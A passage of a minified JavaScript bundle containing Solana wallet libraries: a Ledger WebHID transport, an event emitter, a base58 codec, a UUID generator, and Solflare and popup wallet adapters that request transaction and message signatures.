0,n.addEventListener("inputreport",r.onInputReport),r}return t.request=function(){return rs(this,void 0,void 0,function(){var n,r;return os(this,function(o){switch(o.label){case 0:return[4,gO()];case 1:return n=Tqe.apply(void 0,[o.sent(),1]),r=n[0],[2,t.open(r)]}})})},t.openConnected=function(){return rs(this,void 0,void 0,function(){var n;return os(this,function(r){switch(r.label){case 0:return[4,$y()];case 1:return n=r.sent(),n.length===0?[2,null]:[2,t.open(n[0])]}})})},t.open=function(n){return rs(this,void 0,void 0,function(){var r,o;return os(this,function(i){switch(i.label){case 0:return[4,n.open()];case 1:return i.sent(),r=new t(n),o=function(s){n===s.device&&(Up().removeEventListener("disconnect",o),r._emitDisconnect(new eO))},Up().addEventListener("disconnect",o),[2,r]}})})},t.prototype.close=function(){return rs(this,void 0,void 0,function(){return os(this,function(n){switch(n.label){case 0:return[4,this.exchangeBusyPromise];case 1:return n.sent(),this.device.removeEventListener("inputreport",this.onInputReport),[4,this.device.close()];case 2:return n.sent(),[2]}})})},t.prototype.setScrambleKey=function(){},t.isSupported=jqe,t.list=$y,t.listen=function(n){var r=!1;Wqe().then(function(i){if(!i)n.error(new Wy("Access denied to use Ledger device"));else if(!r){var s=typeof i.productId=="number"?yE(i.productId):void 0;n.next({type:"add",descriptor:i,deviceModel:s}),n.complete()}},function(i){n.error(new Wy(i.message))});function o(){r=!0}return{unsubscribe:o}},t}(Xye);const Yqe=Object.freeze(Object.defineProperty({__proto__:null,default:Gqe},Symbol.toStringTag,{value:"Module"}));var yO={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function o(l,u,c){this.fn=l,this.context=u,this.once=c||!1}function i(l,u,c,f,p){if(typeof c!="function")throw new TypeError("The listener must be a function");var m=new o(c,f||l,p),g=n?n+u:u;return l._events[g]?l._events[g].fn?l._events[g]=[l._events[g],m]:l._events[g].push(m):(l._events[g]=m,l._eventsCount++),l}function s(l,u){--l._eventsCount===0?l._events=new r:delete l._events[u]}function a(){this._events=new r,this._eventsCount=0}a.prototype.eventNames=function(){var u=[],c,f;if(this._eventsCount===0)return u;for(f in c=this._events)t.call(c,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(c)):u},a.prototype.listeners=function(u){var c=n?n+u:u,f=this._events[c];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,m=f.length,g=new Array(m);p<m;p++)g[p]=f[p].fn;return g},a.prototype.listenerCount=function(u){var c=n?n+u:u,f=this._events[c];return f?f.fn?1:f.length:0},a.prototype.emit=function(u,c,f,p,m,g){var v=n?n+u:u;if(!this._events[v])return!1;var I=this._events[v],q=arguments.length,M,E;if(I.fn){switch(I.once&&this.removeListener(u,I.fn,void 0,!0),q){case 1:return I.fn.call(I.context),!0;case 2:return I.fn.call(I.context,c),!0;case 3:return I.fn.call(I.context,c,f),!0;case 4:return I.fn.call(I.context,c,f,p),!0;case 5:return I.fn.call(I.context,c,f,p,m),!0;case 6:return I.fn.call(I.context,c,f,p,m,g),!0}for(E=1,M=new Array(q-1);E<q;E++)M[E-1]=arguments[E];I.fn.apply(I.context,M)}else{var x=I.length,R;for(E=0;E<x;E++)switch(I[E].once&&this.removeListener(u,I[E].fn,void 0,!0),q){case 1:I[E].fn.call(I[E].context);break;case 2:I[E].fn.call(I[E].context,c);break;case 3:I[E].fn.call(I[E].context,c,f);break;case 4:I[E].fn.call(I[E].context,c,f,p);break;default:if(!M)for(R=1,M=new Array(q-1);R<q;R++)M[R-1]=arguments[R];I[E].fn.apply(I[E].context,M)}}return!0},a.prototype.on=function(u,c,f){return i(this,u,c,f,!1)},a.prototype.once=function(u,c,f){return i(this,u,c,f,!0)},a.prototype.removeListener=function(u,c,f,p){var m=n?n+u:u;if(!this._events[m])return this;if(!c)return s(this,m),this;var g=this._events[m];if(g.fn)g.fn===c&&(!p||g.once)&&(!f||g.context===f)&&s(this,m);else{for(var v=0,I=[],q=g.length;v<q;v++)(g[v].fn!==c||p&&!g[v].once||f&&g[v].context!==f)&&I.push(g[v]);I.length?this._events[m]=I.length===1?I[0]:I:s(this,m)}return this},a.prototype.removeAllListeners=function(u){var c;return u?(c=n?n+u:u,this._events[c]&&s(this,c)):(this._events=new r,this._eventsCount=0),this},a.prototype.off=a.prototype.removeListener,a.prototype.addListener=a.prototype.on,a.prefixed=n,a.EventEmitter=a,e.exports=a})(yO);var Bqe=yO.exports;const Jqe=_n(Bqe);function Vqe(e){if(e.length>=255)throw new TypeError("Alphabet too long");for(var t=new Uint8Array(256),n=0;n<t.length;n++)t[n]=255;for(var r=0;r<e.length;r++){var o=e.charAt(r),i=o.charCodeAt(0);if(t[i]!==255)throw new TypeError(o+" is ambiguous");t[i]=r}var s=e.length,a=e.charAt(0),l=Math.log(s)/Math.log(256),u=Math.log(256)/Math.log(s);function c(m){if(m instanceof Uint8Array||(ArrayBuffer.isView(m)?m=new Uint8Array(m.buffer,m.byteOffset,m.byteLength):Array.isArray(m)&&(m=Uint8Array.from(m))),!(m instanceof Uint8Array))throw new TypeError("Expected Uint8Array");if(m.length===0)return"";for(var g=0,v=0,I=0,q=m.length;I!==q&&m[I]===0;)I++,g++;for(var M=(q-I)*u+1>>>0,E=new Uint8Array(M);I!==q;){for(var x=m[I],R=0,K=M-1;(x!==0||R<v)&&K!==-1;K--,R++)x+=256*E[K]>>>0,E[K]=x%s>>>0,x=x/s>>>0;if(x!==0)throw new Error("Non-zero carry");v=R,I++}for(var W=M-v;W!==M&&E[W]===0;)W++;for(var j=a.repeat(g);W<M;++W)j+=e.charAt(E[W]);return j}function f(m){if(typeof m!="string")throw new TypeError("Expected String");if(m.length===0)return new Uint8Array;for(var g=0,v=0,I=0;m[g]===a;)v++,g++;for(var q=(m.length-g)*l+1>>>0,M=new Uint8Array(q);m[g];){var E=t[m.charCodeAt(g)];if(E===255)return;for(var x=0,R=q-1;(E!==0||x<I)&&R!==-1;R--,x++)E+=s*M[R]>>>0,M[R]=E%256>>>0,E=E/256>>>0;if(E!==0)throw new Error("Non-zero carry");I=x,g++}for(var K=q-I;K!==q&&M[K]===0;)K++;for(var W=new Uint8Array(v+(q-K)),j=v;K!==q;)W[j++]=M[K++];return W}function p(m){var g=f(m);if(g)return g;throw new Error("Non-base"+s+" character")}return{encode:c,decodeUnsafe:f,decode:p}}var Uqe=Vqe;const Fqe=Uqe,Hqe="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";var Pqe=Fqe(Hqe);const qi=_n(Pqe);let ah;const Dqe=new Uint8Array(16);function Xqe(){if(!ah&&(ah=typeof crypto<"u"&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!ah))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return ah(Dqe)}const Sr=[];for(let e=0;e<256;++e)Sr.push((e+256).toString(16).slice(1));function Qqe(e,t=0){return Sr[e[t+0]]+Sr[e[t+1]]+Sr[e[t+2]]+Sr[e[t+3]]+"-"+Sr[e[t+4]]+Sr[e[t+5]]+"-"+Sr[e[t+6]]+Sr[e[t+7]]+"-"+Sr[e[t+8]]+Sr[e[t+9]]+"-"+Sr[e[t+10]]+Sr[e[t+11]]+Sr[e[t+12]]+Sr[e[t+13]]+Sr[e[t+14]]+Sr[e[t+15]]}const _qe=typeof crypto<"u"&&crypto.randomUUID&&crypto.randomUUID.bind(crypto),wE={randomUUID:_qe};function $qe(e,t,n){if(wE.randomUUID&&!t&&!e)return wE.randomUUID();e=e||{};const r=e.random||(e.rng||Xqe)();if(r[6]=r[6]&15|64,r[8]=r[8]&63|128,t){n=n||0;for(let o=0;o<16;++o)t[n+o]=r[o];return t}return Qqe(r)}function eb(e){return e.version===void 0}function W0(e){return eb(e)?e.serialize({verifySignatures:!1,requireAllSignatures:!1}):e.serialize()}var bO=function(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})};function G0(e){return bO(this,void 0,void 0,function*(){try{return yield e.request({method:"wallet_getSnaps"}),!0}catch{return!1}})}function ewe(){return bO(this,void 0,void 0,function*(){try{const e=window.ethereum;if(!e)return null;if(e.providers&&Array.isArray(e.providers)){const t=e.providers;for(const n of t)if(yield G0(n))return n}if(e.detected&&Array.isArray(e.detected)){const t=e.detected;for(const n of t)if(yield G0(n))return n}return(yield G0(e))?e:null}catch(e){return console.error(e),null}})}const twe="solana:mainnet",nwe="solana:devnet",rwe="solana:testnet",owe="solana:localnet",IO=[twe,nwe,rwe,owe];function Y0(e){return IO.includes(e)}var au=function(e,t,n,r){if(n==="a"&&!r)throw new TypeError("Private accessor was defined without a getter");if(typeof t=="function"?e!==t||!r:!t.has(e))throw new TypeError("Cannot read private member from an object whose class did not declare it");return n==="m"?r:n==="a"?r.call(e):r?r.value:t.get(e)},lu=function(e,t,n,r,o){if(r==="m")throw new TypeError("Private method is not writable");if(r==="a"&&!o)throw new TypeError("Private accessor was defined without a setter");if(typeof t=="function"?e!==t||!o:!t.has(e))throw new TypeError("Cannot write private member to an object whose class did not declare it");return r==="a"?o.call(e,n):o?o.value=n:t.set(e,n),n},Qh,_h,$h,ep,tp,np;const iwe=IO,swe=[UA,HA,FA];class ov{get address(){return au(this,Qh,"f")}get publicKey(){return au(this,_h,"f").slice()}get chains(){return au(this,$h,"f").slice()}get features(){return au(this,ep,"f").slice()}get label(){return au(this,tp,"f")}get icon(){return au(this,np,"f")}constructor({address:t,publicKey:n,label:r,icon:o}){Qh.set(this,void 0),_h.set(this,void 0),$h.set(this,void 0),ep.set(this,void 0),tp.set(this,void 0),np.set(this,void 0),new.target===ov&&Object.freeze(this),lu(this,Qh,t,"f"),lu(this,_h,n,"f"),lu(this,$h,iwe,"f"),lu(this,ep,swe,"f"),lu(this,tp,r,"f"),lu(this,np,o,"f")}}Qh=new WeakMap,_h=new WeakMap,$h=new WeakMap,ep=new WeakMap,tp=new WeakMap,np=new WeakMap;var $o=function(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})};class iv extends Jqe{constructor(t){super(),this._network="mainnet-beta",this._iframeParams={},this._element=null,this._iframe=null,this._publicKey=null,this._account=null,this._isConnected=!1,this._connectHandler=null,this._messageHandlers={},this._handleEvent=n=>{var r,o;switch(n.type){case"connect":{this._collapseIframe(),!((r=n.data)===null||r===void 0)&&r.publicKey?(this._publicKey=n.data.publicKey,this._isConnected=!0,this._connectHandler&&(this._connectHandler.resolve(),this._connectHandler=null),this._connected()):(this._connectHandler&&(this._connectHandler.reject(),this._connectHandler=null),this._disconnected());return}case"disconnect":{this._connectHandler&&(this._connectHandler.reject(),this._connectHandler=null),this._disconnected();return}case"accountChanged":{!((o=n.data)===null||o===void 0)&&o.publicKey?(this._publicKey=n.data.publicKey,this.emit("accountChanged",this.publicKey),this._standardConnected()):(this.emit("accountChanged",void 0),this._standardDisconnected());return}default:return}},this._handleResize=n=>{n.resizeMode==="full"?n.params.mode==="fullscreen"?this._expandIframe():n.params.mode==="hide"&&this._collapseIframe():n.resizeMode==="coordinates"&&this._resizeIframe(n.params)},this._handleMessage=n=>{var r;if(((r=n.data)===null||r===void 0?void 0:r.channel)!=="solflareIframeToWalletAdapter")return;const o=n.data.data||{};if(o.type==="event")this._handleEvent(o.event);else if(o.type==="resize")this._handleResize(o);else if(o.type==="response"&&this._messageHandlers[o.id]){const{resolve:i,reject:s}=this._messageHandlers[o.id];delete this._messageHandlers[o.id],o.error?s(o.error):i(o.result)}},this._removeElement=()=>{this._element&&(this._element.remove(),this._element=null)},this._removeDanglingElements=()=>{const n=document.getElementsByClassName("solflare-metamask-wallet-adapter-iframe");for(const r of n)r.parentElement&&r.remove()},this._injectElement=()=>{this._removeElement(),this._removeDanglingElements();const n=Object.assign(Object.assign({},this._iframeParams),{mm:!0,v:1,cluster:this._network||"mainnet-beta",origin:window.location.origin||"",title:document.title||""}),r=Object.keys(n).map(i=>`${i}=${encodeURIComponent(n[i])}`).join("&"),o=`${iv.IFRAME_URL}?${r}`;this._element=document.createElement("div"),this._element.className="solflare-metamask-wallet-adapter-iframe",this._element.innerHTML=`
      <iframe src='${o}' style='position: fixed; top: 0; bottom: 0; left: 0; right: 0; width: 100%; height: 100%; border: none; border-radius: 0; z-index: 99999; color-scheme: auto;' allowtransparency='true'></iframe>
    `,document.body.appendChild(this._element),this._iframe=this._element.querySelector("iframe"),window.addEventListener("message",this._handleMessage,!1)},this._collapseIframe=()=>{this._iframe&&(this._iframe.style.top="",this._iframe.style.right="",this._iframe.style.height="2px",this._iframe.style.width="2px")},this._expandIframe=()=>{this._iframe&&(this._iframe.style.top="0px",this._iframe.style.bottom="0px",this._iframe.style.left="0px",this._iframe.style.right="0px",this._iframe.style.width="100%",this._iframe.style.height="100%")},this._resizeIframe=n=>{this._iframe&&(this._iframe.style.top=isFinite(n.top)?`${n.top}px`:"",this._iframe.style.bottom=isFinite(n.bottom)?`${n.bottom}px`:"",this._iframe.style.left=isFinite(n.left)?`${n.left}px`:"",this._iframe.style.right=isFinite(n.right)?`${n.right}px`:"",this._iframe.style.width=isFinite(n.width)?`${n.width}px`:n.width,this._iframe.style.height=isFinite(n.height)?`${n.height}px`:n.height)},this._sendIframeMessage=n=>{if(!this.connected||!this.publicKey)throw new Error("Wallet not connected");return new Promise((r,o)=>{var i,s;const a=$qe();this._messageHandlers[a]={resolve:r,reject:o},(s=(i=this._iframe)===null||i===void 0?void 0:i.contentWindow)===null||s===void 0||s.postMessage({channel:"solflareWalletAdapterToIframe",data:Object.assign({id:a},n)},"*")})},this._connected=()=>{this._isConnected=!0,this.emit("connect",this.publicKey),this._standardConnected()},this._disconnected=()=>{this._publicKey=null,this._isConnected=!1,window.removeEventListener("message",this._handleMessage,!1),this._removeElement(),this.emit("disconnect"),this._standardDisconnected()},this._standardConnected=()=>{if(!this.publicKey)return;const n=this.publicKey.toString();(!this._account||this._account.address!==n)&&(this._account=new ov({address:n,publicKey:this.publicKey.toBytes()}),this.emit("standard_change",{accounts:this.standardAccounts}))},this._standardDisconnected=()=>{this._account&&(this._account=null,this.emit("standard_change",{accounts:this.standardAccounts}))},t!=null&&t.network&&(this._network=t==null?void 0:t.network),window.SolflareMetaMaskParams&&(this._iframeParams=Object.assign(Object.assign({},this._iframeParams),window.SolflareMetaMaskParams)),t!=null&&t.params&&(this._iframeParams=Object.assign(Object.assign({},this._iframeParams),t==null?void 0:t.params))}get publicKey(){return this._publicKey?new ht(this._publicKey):null}get standardAccount(){return this._account}get standardAccounts(){return this._account?[this._account]:[]}get isConnected(){return this._isConnected}get connected(){return this.isConnected}get autoApprove(){return!1}connect(){return $o(this,void 0,void 0,function*(){this.connected||(this._injectElement(),yield new Promise((t,n)=>{this._connectHandler={resolve:t,reject:n}}))})}disconnect(){return $o(this,void 0,void 0,function*(){yield this._sendIframeMessage({method:"disconnect"}),this._disconnected()})}signTransaction(t){var n;return $o(this,void 0,void 0,function*(){if(!this.connected||!this.publicKey)throw new Error("Wallet not connected");try{const r=W0(t),o=yield this._sendIframeMessage({method:"signTransactionV2",params:{transaction:qi.encode(r)}}),{transaction:i}=o;return eb(t)?jr.from(qi.decode(i)):Lo.deserialize(qi.decode(i))}catch(r){throw new Error(((n=r==null?void 0:r.toString)===null||n===void 0?void 0:n.call(r))||"Failed to sign transaction")}})}signAllTransactions(t){var n;return $o(this,void 0,void 0,function*(){if(!this.connected||!this.publicKey)throw new Error("Wallet not connected");try{const r=t.map(i=>W0(i)),{transactions:o}=yield this._sendIframeMessage({method:"signAllTransactionsV2",params:{transactions:r.map(i=>qi.encode(i))}});return o.map((i,s)=>eb(t[s])?jr.from(qi.decode(i)):Lo.deserialize(qi.decode(i)))}catch(r){throw new Error(((n=r==null?void 0:r.toString)===null||n===void 0?void 0:n.call(r))||"Failed to sign transactions")}})}signAndSendTransaction(t,n){var r;return $o(this,void 0,void 0,function*(){if(!this.connected||!this.publicKey)throw new Error("Wallet not connected");try{const o=W0(t),{signature:i}=yield this._sendIframeMessage({method:"signAndSendTransaction",params:{transaction:qi.encode(o),options:n}});return i}catch(o){throw new Error(((r=o==null?void 0:o.toString)===null||r===void 0?void 0:r.call(o))||"Failed to sign and send transaction")}})}signMessage(t,n="utf8"){var r;return $o(this,void 0,void 0,function*(){if(!this.connected||!this.publicKey)throw new Error("Wallet not connected");try{const{signature:o}=yield this._sendIframeMessage({method:"signMessage",params:{data:qi.encode(t),display:n}});return Uint8Array.from(qi.decode(o))}catch(o){throw new Error(((r=o==null?void 0:o.toString)===null||r===void 0?void 0:r.call(o))||"Failed to sign message")}})}sign(t,n="utf8"){return $o(this,void 0,void 0,function*(){return yield this.signMessage(t,n)})}static isSupported(){return $o(this,void 0,void 0,function*(){return!!(yield ewe())})}standardSignAndSendTransaction(...t){return $o(this,void 0,void 0,function*(){if(!this.connected)throw new Error("not connected");const n=[];if(t.length===1){const{transaction:r,account:o,chain:i,options:s}=t[0],{minContextSlot:a,preflightCommitment:l,skipPreflight:u,maxRetries:c}=s||{};if(o!==this._account)throw new Error("invalid account");if(!Y0(i))throw new Error("invalid chain");const f=yield this.signAndSendTransaction(Lo.deserialize(r),{preflightCommitment:l,minContextSlot:a,maxRetries:c,skipPreflight:u});n.push({signature:qi.decode(f)})}else if(t.length>1)for(const r of t)n.push(...yield this.standardSignAndSendTransaction(r));return n})}standardSignTransaction(...t){return $o(this,void 0,void 0,function*(){if(!this.connected)throw new Error("not connected");const n=[];if(t.length===1){const{transaction:r,account:o,chain:i}=t[0];if(o!==this._account)throw new Error("invalid account");if(i&&!Y0(i))throw new Error("invalid chain");const s=yield this.signTransaction(Lo.deserialize(r));n.push({signedTransaction:s.serialize()})}else if(t.length>1){let r;for(const s of t){if(s.account!==this._account)throw new Error("invalid account");if(s.chain){if(!Y0(s.chain))throw new Error("invalid chain");if(r){if(s.chain!==r)throw new Error("conflicting chain")}else r=s.chain}}const o=t.map(({transaction:s})=>Lo.deserialize(s)),i=yield this.signAllTransactions(o);n.push(...i.map(s=>({signedTransaction:s.serialize()})))}return n})}standardSignMessage(...t){return $o(this,void 0,void 0,function*(){if(!this.connected)throw new Error("not connected");const n=[];if(t.length===1){const{message:r,account:o}=t[0];if(o!==this._account)throw new Error("invalid account");const i=yield this.signMessage(r);n.push({signedMessage:r,signature:i})}else if(t.length>1)for(const r of t)n.push(...yield this.standardSignMessage(r));return n})}}iv.IFRAME_URL="https://widget.solflare.com/";const awe=Object.freeze(Object.defineProperty({__proto__:null,StandardSolflareMetaMaskWalletAccount:ov,default:iv},Symbol.toStringTag,{value:"Module"}));var qO={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function o(l,u,c){this.fn=l,this.context=u,this.once=c||!1}function i(l,u,c,f,p){if(typeof c!="function")throw new TypeError("The listener must be a function");var m=new o(c,f||l,p),g=n?n+u:u;return l._events[g]?l._events[g].fn?l._events[g]=[l._events[g],m]:l._events[g].push(m):(l._events[g]=m,l._eventsCount++),l}function s(l,u){--l._eventsCount===0?l._events=new r:delete l._events[u]}function a(){this._events=new r,this._eventsCount=0}a.prototype.eventNames=function(){var u=[],c,f;if(this._eventsCount===0)return u;for(f in c=this._events)t.call(c,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(c)):u},a.prototype.listeners=function(u){var c=n?n+u:u,f=this._events[c];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,m=f.length,g=new Array(m);p<m;p++)g[p]=f[p].fn;return g},a.prototype.listenerCount=function(u){var c=n?n+u:u,f=this._events[c];return f?f.fn?1:f.length:0},a.prototype.emit=function(u,c,f,p,m,g){var v=n?n+u:u;if(!this._events[v])return!1;var I=this._events[v],q=arguments.length,M,E;if(I.fn){switch(I.once&&this.removeListener(u,I.fn,void 0,!0),q){case 1:return I.fn.call(I.context),!0;case 2:return I.fn.call(I.context,c),!0;case 3:return I.fn.call(I.context,c,f),!0;case 4:return I.fn.call(I.context,c,f,p),!0;case 5:return I.fn.call(I.context,c,f,p,m),!0;case 6:return I.fn.call(I.context,c,f,p,m,g),!0}for(E=1,M=new Array(q-1);E<q;E++)M[E-1]=arguments[E];I.fn.apply(I.context,M)}else{var x=I.length,R;for(E=0;E<x;E++)switch(I[E].once&&this.removeListener(u,I[E].fn,void 0,!0),q){case 1:I[E].fn.call(I[E].context);break;case 2:I[E].fn.call(I[E].context,c);break;case 3:I[E].fn.call(I[E].context,c,f);break;case 4:I[E].fn.call(I[E].context,c,f,p);break;default:if(!M)for(R=1,M=new Array(q-1);R<q;R++)M[R-1]=arguments[R];I[E].fn.apply(I[E].context,M)}}return!0},a.prototype.on=function(u,c,f){return i(this,u,c,f,!1)},a.prototype.once=function(u,c,f){return i(this,u,c,f,!0)},a.prototype.removeListener=function(u,c,f,p){var m=n?n+u:u;if(!this._events[m])return this;if(!c)return s(this,m),this;var g=this._events[m];if(g.fn)g.fn===c&&(!p||g.once)&&(!f||g.context===f)&&s(this,m);else{for(var v=0,I=[],q=g.length;v<q;v++)(g[v].fn!==c||p&&!g[v].once||f&&g[v].context!==f)&&I.push(g[v]);I.length?this._events[m]=I.length===1?I[0]:I:s(this,m)}return this},a.prototype.removeAllListeners=function(u){var c;return u?(c=n?n+u:u,this._events[c]&&s(this,c)):(this._events=new r,this._eventsCount=0),this},a.prototype.off=a.prototype.removeListener,a.prototype.addListener=a.prototype.on,a.prefixed=n,a.EventEmitter=a,e.exports=a})(qO);var lwe=qO.exports;const iq=_n(lwe);var uwe=function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(r,o){r.__proto__=o}||function(r,o){for(var i in o)Object.prototype.hasOwnProperty.call(o,i)&&(r[i]=o[i])},e(t,n)};return function(t,n){if(typeof n!="function"&&n!==null)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");e(t,n);function r(){this.constructor=t}t.prototype=n===null?Object.create(n):(r.prototype=n.prototype,new r)}}(),wO=function(e){uwe(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t}(iq);function cwe(e){if(e.length>=255)throw new TypeError("Alphabet too long");for(var t=new Uint8Array(256),n=0;n<t.length;n++)t[n]=255;for(var r=0;r<e.length;r++){var o=e.charAt(r),i=o.charCodeAt(0);if(t[i]!==255)throw new TypeError(o+" is ambiguous");t[i]=r}var s=e.length,a=e.charAt(0),l=Math.log(s)/Math.log(256),u=Math.log(256)/Math.log(s);function c(m){if(m instanceof Uint8Array||(ArrayBuffer.isView(m)?m=new Uint8Array(m.buffer,m.byteOffset,m.byteLength):Array.isArray(m)&&(m=Uint8Array.from(m))),!(m instanceof Uint8Array))throw new TypeError("Expected Uint8Array");if(m.length===0)return"";for(var g=0,v=0,I=0,q=m.length;I!==q&&m[I]===0;)I++,g++;for(var M=(q-I)*u+1>>>0,E=new Uint8Array(M);I!==q;){for(var x=m[I],R=0,K=M-1;(x!==0||R<v)&&K!==-1;K--,R++)x+=256*E[K]>>>0,E[K]=x%s>>>0,x=x/s>>>0;if(x!==0)throw new Error("Non-zero carry");v=R,I++}for(var W=M-v;W!==M&&E[W]===0;)W++;for(var j=a.repeat(g);W<M;++W)j+=e.charAt(E[W]);return j}function f(m){if(typeof m!="string")throw new TypeError("Expected String");if(m.length===0)return new Uint8Array;for(var g=0,v=0,I=0;m[g]===a;)v++,g++;for(var q=(m.length-g)*l+1>>>0,M=new Uint8Array(q);m[g];){var E=t[m.charCodeAt(g)];if(E===255)return;for(var x=0,R=q-1;(E!==0||x<I)&&R!==-1;R--,x++)E+=s*M[R]>>>0,M[R]=E%256>>>0,E=E/256>>>0;if(E!==0)throw new Error("Non-zero carry");I=x,g++}for(var K=q-I;K!==q&&M[K]===0;)K++;for(var W=new Uint8Array(v+(q-K)),j=v;K!==q;)W[j++]=M[K++];return W}function p(m){var g=f(m);if(g)return g;throw new Error("Non-base"+s+" character")}return{encode:c,decodeUnsafe:f,decode:p}}var dwe=cwe;const fwe=dwe,hwe="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";var pwe=fwe(hwe);const Ro=_n(pwe);var mwe=function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(r,o){r.__proto__=o}||function(r,o){for(var i in o)Object.prototype.hasOwnProperty.call(o,i)&&(r[i]=o[i])},e(t,n)};return function(t,n){if(typeof n!="function"&&n!==null)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");e(t,n);function r(){this.constructor=t}t.prototype=n===null?Object.create(n):(r.prototype=n.prototype,new r)}}(),tb=function(){return tb=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++){t=arguments[n];for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}return e},tb.apply(this,arguments)},B0=function(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})},J0=function(e,t){var n={label:0,sent:function(){if(i[0]&1)throw i[1];return i[1]},trys:[],ops:[]},r,o,i,s;return s={next:a(0),throw:a(1),return:a(2)},typeof Symbol=="function"&&(s[Symbol.iterator]=function(){return this}),s;function a(u){return function(c){return l([u,c])}}function l(u){if(r)throw new TypeError("Generator is already executing.");for(;s&&(s=0,u[0]&&(n=0)),n;)try{if(r=1,o&&(i=u[0]&2?o.return:u[0]?o.throw||((i=o.return)&&i.call(o),0):o.next)&&!(i=i.call(o,u[1])).done)return i;switch(o=0,i&&(u=[u[0]&2,i.value]),u[0]){case 0:case 1:i=u;break;case 4:return n.label++,{value:u[1],done:!1};case 5:n.label++,o=u[1],u=[0];continue;case 7:u=n.ops.pop(),n.trys.pop();continue;default:if(i=n.trys,!(i=i.length>0&&i[i.length-1])&&(u[0]===6||u[0]===2)){n=0;continue}if(u[0]===3&&(!i||u[1]>i[0]&&u[1]<i[3])){n.label=u[1];break}if(u[0]===6&&n.label<i[1]){n.label=i[1],i=u;break}if(i&&n.label<i[2]){n.label=i[2],n.ops.push(u);break}i[2]&&n.ops.pop(),n.trys.pop();continue}u=t.call(e,n)}catch(c){u=[6,c],o=0}finally{r=i=0}if(u[0]&5)throw u[1];return{value:u[0]?u[1]:void 0,done:!0}}},SE=function(e,t){var n=typeof Symbol=="function"&&e[Symbol.iterator];if(!n)return e;var r=n.call(e),o,i=[],s;try{for(;(t===void 0||t-- >0)&&!(o=r.next()).done;)i.push(o.value)}catch(a){s={error:a}}finally{try{o&&!o.done&&(n=r.return)&&n.call(r)}finally{if(s)throw s.error}}return i},vwe=function(e){mwe(t,e);function t(n,r){var o=e.call(this)||this;if(o._handleMessage=function(i){if(o._injectedProvider&&i.source===window||i.origin===o._providerUrl.origin&&i.source===o._popup){if(i.data.method==="connected"){var s=new ht(i.data.params.publicKey);(!o._publicKey||!o._publicKey.equals(s))&&(o._publicKey&&!o._publicKey.equals(s)&&o._handleDisconnect(),o._publicKey=s,o._autoApprove=!!i.data.params.autoApprove,o.emit("connect",o._publicKey))}else if(i.data.method==="disconnected")o._handleDisconnect();else if((i.data.result||i.data.error)&&o._responsePromises.has(i.data.id)){var a=SE(o._responsePromises.get(i.data.id),2),l=a[0],u=a[1];i.data.result?l(i.data.result):u(new Error(i.data.error))}}},o._handleConnect=function(){return o._handlerAdded||(o._handlerAdded=!0,window.addEventListener("message",o._handleMessage),window.addEventListener("beforeunload",o.disconnect)),o._injectedProvider?new Promise(function(i){o._sendRequest("connect",{}),i()}):(window.name="parent",o._popup=window.open(o._providerUrl.toString(),"_blank","location,resizable,width=460,height=675"),new Promise(function(i){o.once("connect",i)}))},o._handleDisconnect=function(){o._handlerAdded&&(o._handlerAdded=!1,window.removeEventListener("message",o._handleMessage),window.removeEventListener("beforeunload",o.disconnect)),o._publicKey&&(o._publicKey=null,o.emit("disconnect")),o._responsePromises.forEach(function(i,s){var a=SE(i,2);a[0];var l=a[1];o._responsePromises.delete(s),l("Wallet disconnected")})},o._sendRequest=function(i,s){return B0(o,void 0,void 0,function(){var a,l=this;return J0(this,function(u){if(i!=="connect"&&!this.connected)throw new Error("Wallet not connected");return a=this._nextRequestId,++this._nextRequestId,[2,new Promise(function(c,f){l._responsePromises.set(a,[c,f]),l._injectedProvider?l._injectedProvider.postMessage({jsonrpc:"2.0",id:a,method:i,params:tb({network:l._network},s)}):(l._popup.postMessage({jsonrpc:"2.0",id:a,method:i,params:s},l._providerUrl.origin),l.autoApprove||l._popup.focus())})]})})},o.connect=function(){return o._popup&&o._popup.close(),o._handleConnect()},o.disconnect=function(){return B0(o,void 0,void 0,function(){return J0(this,function(i){switch(i.label){case 0:return this._injectedProvider?[4,this._sendRequest("disconnect",{})]:[3,2];case 1:i.sent(),i.label=2;case 2:return this._popup&&this._popup.close(),this._handleDisconnect(),[2]}})})},o.sign=function(i,s){return B0(o,void 0,void 0,function(){var a,l,u;return J0(this,function(c){switch(c.label){case 0:if(!(i instanceof Uint8Array))throw new 